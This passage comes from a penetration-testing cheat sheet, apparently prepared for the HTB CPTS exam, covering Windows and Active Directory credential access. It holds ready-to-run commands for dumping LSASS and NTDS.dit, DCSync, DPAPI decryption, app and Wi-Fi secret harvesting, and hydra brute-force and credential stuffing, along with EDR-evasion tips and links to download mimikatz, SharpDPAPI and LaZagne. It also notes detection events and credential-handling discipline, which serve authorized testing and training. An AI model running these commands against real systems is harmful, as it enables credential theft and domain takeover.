471 --- 472 473 #### 🧠 LSASS — methods table, noisiest-to-quietest 474 475 LSASS holds the live domain creds of everyone logged in since boot — **the crown jewels**, and the single most EDR-instrumented process in Windows. Pick the method by detection posture: 476 477 | Method | Command | OPSEC note | 478 | :-- | :-- | :-- | 479 | Task Manager GUI | right-click `lsass.exe` → *Create dump file* | zero CLI telemetry, but needs interactive GUI session; still triggers process-access alerts (Sysmon **10**: `GrantedAccess 0x1FFFFF` to lsass.exe) | 480 | comsvcs MiniDump | `rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\lsass.dmp full` | LOLBin, no dropped EXE — but the *textbook* signature, heavily alerted | 481 | [procdump](https://learn.microsoft.com/sysinternals/downloads/procdump) | `procdump64.exe -ma -accepteula lsass.exe lsass.dmp` | signed Sysinternals binary; flagged by name + by the lsass handle open | 482 | [nanodump](https://github.com/fortra/nanodump) | `nanodump --write C:\Windows\Temp\lsass.dmp` | direct syscalls + forged signatures + PPL bypass options; the quiet swap | 483 | [lsassy](https://github.com/login-securite/lsassy) | `lsassy -u "$U" -p "$P" $IP` or `nxc smb $IP -u "$U" -p "$P" -M lsassy` | remote dump+parse in one shot (comsvcs/procdump/dumperr backends) | 484 | mimikatz (in-memory, no dump file) | `sekurlsa::logonpasswords` | touches lsass live; Defender eats stock mimikatz — needs evasion | 485 486 ```batch 487 tasklist /svc | findstr lsass :: grab the PID; PowerShell: Get-Process lsass 488 rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\lsass.dmp full 489 ``` 490 ```bash 491 pypykatz lsa minidump lsass.dmp # MSV (NT/SHA1), WDIGEST (cleartext on legacy), Kerberos keys, DPAPI masterkey 492 # mimikatz interactive (from the staged zip): 493 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" 494 mimikatz.exe "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit" # offline parse 495 ``` 496 497 > [!tools] Stage this 498 > [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc)) 499 500 > [!danger] OPSEC — LSASS is the crown jewels 501 > Any handle opened to `lsass.exe` with read access fires Sysmon **Event 10** (TargetImage: lsass.exe) and most EDRs' highest-severity ruleset (T1003.001). Prefer: dump once, parse offline, delete the `.dmp` immediately. Expect `WDIGEST: password None` on modern/patched Windows (cleartext caching off by default post-2012, `UseLogonCredential=0`) — take the NT hash / Kerberos keys instead. Credential Guard (Server 2016+/Win10 Enterprise, VSM) makes LSASS dumping yield only encrypted blobs — if you see `* Password : (null)` everywhere with CredGuard enabled, pivot to token theft or keylogging. Live/DCSync dumping (`mimikatz sekurlsa` on a DC, `secretsdump` remote/DRSUAPI) lives in Stage 9/10 — full deck in Impacket-Cheatsheet. 502 503 --- 504 505 #### 🔐 DPAPI — masterkeys, vaults, browser cookies 506 507 **What to look for:** DPAPI blobs (`%APPDATA%\Microsoft\Credentials`, `...\Protect`, Chrome `Login Data`/`Cookies`) — decryptable offline once you have the user's **masterkey** (from LSASS, or by precomputing with the user's password/SID + a DC's DPAPI backup key). 508 509 **SharpDPAPI triage (the GhostPack one-stop):** 510 ```batch 511 :: as the user (or SYSTEM with /server for machine keys) 512 SharpDPAPI.exe masterkeys :: decrypt user masterkeys (needs DPAPI domain backup key or user's password) 513 SharpDPAPI.exe credentials :: decrypt Credential Manager blobs 514 SharpDPAPI.exe vaults :: Windows Vault entries 515 SharpDPAPI.exe triage :: masterkeys + credentials + vaults + browser data in one pass 516 SharpDPAPI.exe machinetriage :: machine-store equivalent (as SYSTEM) 517 ``` 518 519 > [!tools] Stage this 520 > [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpDPAPI.exe.sha256.asc)) 521 522 ```batch 523 :: mimikatz equivalents 524 mimikatz.exe "privilege::debug" "dpapi::masterkey /in:C:\Users\<u>\AppData\Roaming\Microsoft\Protect\<SID>\<guid> /rpc" "exit" 525 mimikatz.exe "dpapi::cred /in:C:\Users\<u>\AppData\Roaming\Microsoft\Credentials\<blob>" "exit" 526 ``` 527 ```bash 528 # from Linux, fully remote, given the DC backup key or user creds: 529 impacket-dpapi masterkey -file mkfile -key <domain_backup_key> 530 impacket-dpapi credential -file cred.blob -key <masterkey> 531 ``` 532 533 > [!note] The DPAPI masterkey chain 534 > Blob → masterkey (in `Protect\<SID>\`) → decrypted by either (a) the user's **current password hash** (SHA1 → PBKDF2), (b) the **domain DPAPI backup key** from any DC (`SharpDPAPI.exe backupkey /server:$DC` as DA), or (c) LSASS (`sekurlsa::dpapi`). One recovered masterkey from a pypykatz LSASS parse often unlocks Chrome cookies + RDP saved creds + Credential Manager for that user — cheaper than any crack. SharpChrome covers the Chromium cookie/vault angle specifically if triage misses it. 535 536 --- 537 538 #### 🗄️ NTDS.dit — the whole domain in one file 539 540 **What to look for:** on a DC, `C:\Windows\NTDS\NTDS.dit` (locked while AD DS runs) + the SYSTEM hive. DA on a DC → every hash in the domain. Full attack path and replay: [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). 541 542 ```bash 543 # remote, no disk touch on the DC beyond DRSUAPI replication traffic 544 nxc smb $DC -u "$U" -p "$P" --ntds # vssadmin method by default 545 impacket-secretsdump -just-dc "$DOMAIN/$U:$P@$DC" # DCSync via DRSUAPI — needs Repl-Get-Changes-All 546 impacket-secretsdump -just-dc -hashes :<nthash> "$DOMAIN/$U@$DC" 547 548 # on the DC itself — VSS snapshot past the file lock 549 vssadmin create shadow /for=C: 550 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit 551 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.save 552 impacket-secretsdump -ntds ntds.dit -system system.save LOCAL 553 # ntdsutil alternative: ntdsutil "ac i ntds" "ifm" "create full C:\ifm" q q → grabs NTDS.dit + SYSTEM together 554 # wmic/wbem variant (legacy but still around): wmic shadowcopy call create Volume='C:\' 555 ``` 556 557 > [!warning] Watch out 558 > `secretsdump -just-dc` (DCSync) generates **4662** (directory replication) on the DC — a prime detection (T1003.006) but indistinguishable from a legit DC replication unless you watch *which* machine replicates. `vssadmin create shadow` + reading the shadow copy fires VSS/service telemetry and leaves a shadow copy behind — **delete it** (`vssadmin delete shadows /shadow=<id>`) and log it in the cleanup register (Stage 11). Cracked NTDS feeds the **Domain Password Analysis** appendix in the report (Stage 11). 559 560 --- 561 562 #### 🔑 App-stored secrets, saved sessions & Wi-Fi 563 564 **What to look for:** password managers, browser vaults, saved RDP/WinSCP/PuTTY sessions, Credential Manager — all cheaper than cracking. 565 566 **Extract:** 567 ```batch 568 start LaZagne.exe all :: WinSCP, FileZilla, browsers, RDP mgr, Git, Wi-Fi — dozens of apps 569 cmdkey /list :: enumerated Credential Manager blobs 570 vaultcmd /listcreds:"Windows Credentials" /all 571 572 :: saved-cred reuse without knowing the password: 573 runas /savecred /user:%DOMAIN%\svc-backup "cmd.exe" :: only works if cred was saved WITH /savecred 574 575 :: Wi-Fi profiles hold cleartext PSKs: 576 netsh wlan show profile 577 netsh wlan show profile name="CorpWifi" key=clear :: Key Content = plaintext PSK 578 ``` 579 580 > [!tools] Stage this 581 > [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256) · [GPG signature](/downloads/pentest-workflow/LaZagne.exe.sha256.asc)) 582 583 ```bash 584 # KeePass DB → master password (mode row 13400 is in §2's table) 585 keepass2john Database.kdbx > kp.hash # add the -k <keyfile> path if a keyfile is required 586 # DPAPI: pypykatz/LSASS hands you the user's masterkey → decrypt Chrome/RDP/CredMan blobs (§DPAPI above) 587 ``` 588 589 Saved-session hunting — [SessionGopher](https://github.com/Arvanaghi/SessionGopher) pulls PuTTY/WinSCP/FileZilla/SuperPuTTY saved sessions (often with plaintext or trivially-decryptable passwords) from a host or across the domain: 590 ```powershell 591 Invoke-SessionGopher -Target SQL01 -u "$U" -p "$P" -Domain $DOMAIN # remote over WMI/SMB 592 ``` 593 594 > [!tip] Hunt before you crack 595 > [LaZagne](https://github.com/AlessandroZ/LaZagne) + Credential Manager routinely beat a GPU on time-to-first-cred. On opsec-sensitive boxes prefer GhostPack **SeatBelt**/**SharpChrome** over LaZagne's loud "run everything". A KeePass `.kdbx` with no crackable master is still worth grabbing — the DPAPI masterkey from LSASS may unlock it. Full app list: 7 - Credential Hunting in Windows. 596 597 --- 598 599 #### 🔨 Network-service brute-force matrix (hydra) 600 601 **What to look for:** an exposed auth surface with **no lockout policy** (confirm first — §0). Use a validated user list + a targeted/mutated password list. This is the loud, online counterpart to cracking a captured hash. 602 603 **Attack (per service):** 604 ```bash 605 hydra -L users.txt -P pass.txt ssh://$IP -t 4 # SSH (drop -t if conns fail) 606 hydra -L users.txt -P pass.txt ftp://$IP 607 hydra -L users.txt -P pass.txt rdp://$IP -t 1 -W 3 # RDP: slow/noisy by design, throttle 608 hydra -L users.txt -P pass.txt smb://$IP # SMB (see fallback below) 609 hydra -l admin -P pass.txt $IP http-get /admin # HTTP Basic-auth 610 hydra -l admin -P pass.txt $IP http-post-form \ 611 "/login.php:user=^USER^&pass=^PASS^:F=incorrect" # HTTP form (F= a failure string) 612 hydra -C user_pass.txt ssh://$IP # credential STUFFING: user:pass combo file 613 ``` 614 ```bash 615 # hydra chokes on SMBv3 ("invalid reply from target") → use nxc or Metasploit, which speak modern dialects 616 nxc smb $IP -u users.txt -p pass.txt # add --no-bruteforce to pair line-by-line 617 msf6 > use auxiliary/scanner/smb/smb_login # set user_file/pass_file/rhosts; STOP_ON_SUCCESS, BRUTEFORCE_SPEED 618 # validated logins → interact: 619 evil-winrm -i $IP -u "$U" -p "$P" # (Pwn3d!) on winrm = code exec 620 smbclient -U "$U" "//$IP/SHARENAME" # xfreerdp /v:$IP /u:"$U" /p:"$P" for RDP 621 ``` 622 623 > [!warning] Watch out 624 > Every failed guess writes an event (SMB/RDP → **4625**, spikes fast) and a real lockout policy will **lock the account, not just fail** — brute force is the opposite of §5's careful one-password spray. `-C` (combo/stuffing) with a DefaultCreds list is quieter and higher-hit-rate than a full `-L`×`-P` cross-product — start there. A `(Pwn3d!)` on WinRM but a "not active for remote desktop" on RDP means the cred is still good for SMB/WinRM — don't discard a partial hit. Modern hydra can't parse SMBv3; keep `nxc`/`smb_login` as the fallback. 625 626 --- 627 628 #### 🧬 Wordlist & rule crafting (feed the crackers something that actually hits) 629 630 **What to look for:** policy-compliant human passwords = a short base word + predictable mutation (capitalise, leet, append a year/`!`). Don't blind-brute a `?a?a?a…` mask — mutate a *targeted* base list instead. 631 632 **Stock wordlists (know your paths):** 633 ```bash 634 /usr/share/wordlists/rockyou.txt.gz # 14.3M real leaked passwords — the default 635 gunzip /usr/share/wordlists/rockyou.txt.gz 636 /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt 637 /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt 638 /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt # xato frequency-ranked 639 /usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv # device defaults 640 ``` 641 Lists live in [SecLists](https://github.com/danielmiessler/SecLists); the xato-net set is frequency-ranked so the top of the file hits first. 642 643 **Build the base list + mutate:** 644 ```bash 645 # harvest a company-specific base list straight off their site 646 cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w base.wordlist # depth 4, min-len 6 647 cupp -i # interactive: target-specific list from a person's details (kids, pets, dates) 648 649 # author a custom rule file (one rule per line, applied to every base word) 650 cat custom.rule 651 # : do nothing u uppercase all 652 # c Capitalise first sXY replace X→Y (e.g. so0 sa@) 653 # $! append '!' ^1 prepend '1' 654 # c so0 $! chain: Cap + o→0 + append ! 655 656 # generate the mutated list WITHOUT cracking (--stdout = pure generator) 657 hashcat --force base.wordlist -r custom.rule --stdout | sort -u > mutated.list 658 wc -l mutated.list # feed mutated.list straight into a crack or a spray 659 660 # or lean on the shipped rulesets (best coverage-to-runtime = targeted base × best64) 661 ls /usr/share/hashcat/rules/ # best64 d3ad0ne dive leetspeak rockyou-30000 toggles* 662 hashcat -m 1000 -a 0 hashes.txt base.wordlist -r /usr/share/hashcat/rules/best64.rule 663 hashcat -m 1000 -a 0 hashes.txt base.wordlist -r OneRuleToRuleThemAll.rule # big, slow, thorough 664 ``` 665 Rules ladder: `best64` (fast, 64 rules) → `dive` (heavy) → [OneRuleToRuleThemAll](https://github.com/NotSoSecure/password_cracking_rules) (exhaustive, hours on GPU). Base-list builders: [CeWL](https://github.com/digininja/CeWL), [cupp](https://github.com/Mebus/cupp). 666 667 > [!tip] `--stdout` is a free, disposable wordlist factory 668 > `hashcat … -r rules --stdout` emits candidates instead of cracking — perfect for generating a spray list, previewing what a rule set does, or piping into another tool. A tiny custom `.rule` on a CeWL base list reliably out-produces rockyou against real corp passwords; `best64.rule` is the strongest general-purpose default before reaching for `dive`/`rockyou-30000`. Rule reference + more functions: 3 - Password Mutations & Wordlist Attacks, hashcat-cheatsheet. 669 670 > [!note] Base-list sources 671 > CeWL (target's own website), the org's blacklist terms in reverse (company name + season + year — `Inlanefreight2026!` is technically compliant), and username-anarchy output (§4) all make better base words than a generic dump. Mangle those with rules; save raw `?a` masks for when you *know* the structure. 672 673 --- 674 675 ### 🧹 Policy-Filter a Wordlist Before You Spray 676 677 **What to look for** → you profiled a target and generated a big candidate list (CUPP can emit ~46,000 for one person). Don't waste a Hydra run on passwords the domain policy would reject — trim to policy-compliant first. 678 679 ```bash 680 # keep only: ≥6 chars, has upper, has lower, has digit, ≥2 special chars 681 grep -E '^.{6,}$' list.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' \ 682 | grep -E '([!@#$%^&*].*){2,}' > filtered.txt # 46,790 → ~7,900 683 hydra -L users.txt -P filtered.txt $IP http-post-form \ 684 "/login:user=^USER^&pass=^PASS^:F=Invalid" 685 ``` 686 > [!tip] The `([class].*){2,}` quantifier is the idiom for "at least N chars from a set". Derive the username convention first (theHarvester + `exiftool` on public PDFs → `first.last`/`flast`) so `-L` isn't a blind permutation. Deep dive: 7 - Custom Wordlists. 687 688 --- 689 690 ### 🧾 Credential handling & OPSEC (hand-off to reporting) 691 692 **What to look for:** every cracked/found credential is client data with blast radius — treat it like evidence, not notes. 693 694 - **Vault immediately:** recovered creds go into the engagement secrets store (dedicated vault, e.g. an encrypted KeePassXC DB or the team password manager), **never** plaintext into Obsidian notes, screenshots, or the report. In the System Modifications Log record `Password: <REDACTED>` (Stage 11). 695 - **Report hashes, not passwords:** the Domain Password Analysis appendix reports *statistics* (cracked %, top patterns); individual cracked passwords appear truncated (`Summer…!`) or not at all. 696 - **Track provenance:** which host/share/DC each cred came from — you cannot write remediation for "password reuse" without knowing where it was stored in cleartext. 697 - **Disclose + rotate:** every credential you recovered was, by definition, exposed — it goes on the client disclosure list for forced rotation at close-out (Stage 11 cleanup). 698 699 > [!tip] CPTS exam tip 700 > In the exam, passwords *are* flags, so capture them — but still practise the real-world discipline: note host + source + timestamp for every cred, keep one authoritative cred table per domain, and never spray a found password domain-wide without re-checking §0's policy (found creds are often service accounts with stricter PSO lockouts). 701 702 --- 703 704 > [!navigation] Continue the attack flow 705 > **Previous:** [Stage 07 — ADCS and Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse) 706 > 707 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 708 > 709 > **Next:** [Stage 09 — Privilege Escalation](/sheets/pentest-workflow/privilege-escalation)